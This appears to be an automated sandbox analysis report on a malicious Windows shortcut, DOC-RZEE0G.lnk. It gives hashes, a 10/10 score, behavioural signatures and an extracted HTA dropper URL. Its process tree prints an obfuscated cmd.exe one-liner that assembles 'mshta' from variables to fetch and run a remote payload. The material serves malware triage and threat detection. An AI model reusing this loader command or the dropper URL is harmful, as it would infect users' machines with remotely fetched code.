Analysis
- max time kernel
148s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-RZEE0G.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-RZEE0G.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-RZEE0G.lnk
- Size 1KB
- Sample260804-kbm8msvfqe
- SHA256 4c68027a8670961fc85f263b54e5bef677b3da50dbc650b11ed980201dd691e0
- MD5 0b97f794cba379e42f2c13587da89677
- SHA1 7bece9cf7eb2147dbb382e66584dc804503f5fce
- SHA512 409a499c97f9512628b706d5f6c1303a369d6ababcd060f0dbd8d8e5521901fe0c0b7f95f63ceadf5265ebd18ae536c853fddf50a86521ce7d5aa7f4638f28de
- TLSH T1DB314C503FED0924F3F78EB695BB572485BBB8658D20C62D0141454C5062A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1052 cmd.exe 2788 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1052 wrote to memory of 2788 1052 cmd.exe 90 PID 2788 wrote to memory of 5756 2788 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-RZEE0G.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1052 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set jlCM=msh&&set yyAH=ta&&start "" !jlCM!!yyAH! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5756
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